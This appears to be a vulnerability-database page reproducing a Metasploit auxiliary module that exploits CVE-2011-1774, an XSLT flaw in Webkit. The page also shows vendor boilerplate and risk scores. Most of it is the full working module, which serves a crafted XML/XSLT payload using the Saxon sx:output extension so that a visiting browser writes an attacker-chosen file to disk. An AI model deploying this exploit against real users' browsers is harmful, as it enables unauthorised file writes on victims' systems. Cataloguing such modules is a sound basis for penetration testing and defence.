Lucene search
+L

Cross Platform Webkit File Dropper

🗓️ 18 Oct 2011 16:30:28Reported by Nicolas GregoireType 
metasploit
 metasploit
🔗 www.rapid7.com👁 40 Views

Cross Platform Webkit File Dropper module exploiting XSLT vulnerability in Webkit to drop ASCII or UTF-8 files to target file-system

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Cross Platform Webkit File Dropper',
      'Description' => %q{
          This module exploits a XSLT vulnerability in Webkit to drop ASCII or UTF-8
        files to the target file-system.  By default, the file will be dropped in
        C:\Program Files\
      },
      'Author'      => [ 'Nicolas Gregoire' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2011-1774' ]
        ],
      'Actions'     =>
        [
          [ 'WebServer', 'Description' => 'Serve exploit via web server' ]
        ],
      'PassiveActions' =>
        [
          'WebServer'
        ],
      'DefaultAction'  => 'WebServer'))

    register_options(
      [
        OptString.new('REMOTE_PATH', [ true, "Location of the remote file", 'flag.txt' ]),
        OptString.new('REMOTE_CONTENT', [ true, "Content of the remote file", 'Hello from CVE-2011-1774' ])
      ])
  end

  def on_request_uri(cli, request)
    path  = datastore['REMOTE_PATH']
    content  = datastore['REMOTE_CONTENT']
    html = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?>
<!-- Define the DTD of the document
     This is needed, in order to later reference the XSLT stylesheet by a #fragment
     This trick allows to have both the XML and the XSL in the same file
     Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
<!DOCTYPE doc [
 <!ATTLIST xsl:stylesheet
 id ID #REQUIRED
>]>
<doc>

<!-- Define location and content of the file -->
<path><![CDATA[#{path}]]></path>
<content><![CDATA[#{content}]]></content>

<!-- The XSLT stylesheet header, including the "sx" extension -->
<xsl:stylesheet id="fragment" version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:sx="http://icl.com/saxon"
  extension-element-prefixes="sx"
  xmlns="http://www.w3.org/1999/xhtml" >
<xsl:output method="xml" indent="yes" />

<!-- The XSLT template -->
<xsl:template match="/">
        <!-- Create the file -->
        <xsl:variable name="path" select="//path/text()"/>
        <sx:output file="{$path}" method="text">
                <xsl:value-of select="//content"/>
        </sx:output>
        <!-- Send some output to the browser -->
        <html> </html>
</xsl:template>
</xsl:stylesheet>
</doc>
EOS

    print_status("Sending XSLT payload ...")
    print_status("Destination file : #{path}")
    send_response_html(cli, html, { 'Content-Type' => 'application/xml' })
  end

  def run
    exploit()
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 May 2020 19:51Current
6.3Medium risk
Vulners AI Score6.3
CVSS 28.8
EPSS0.43195
40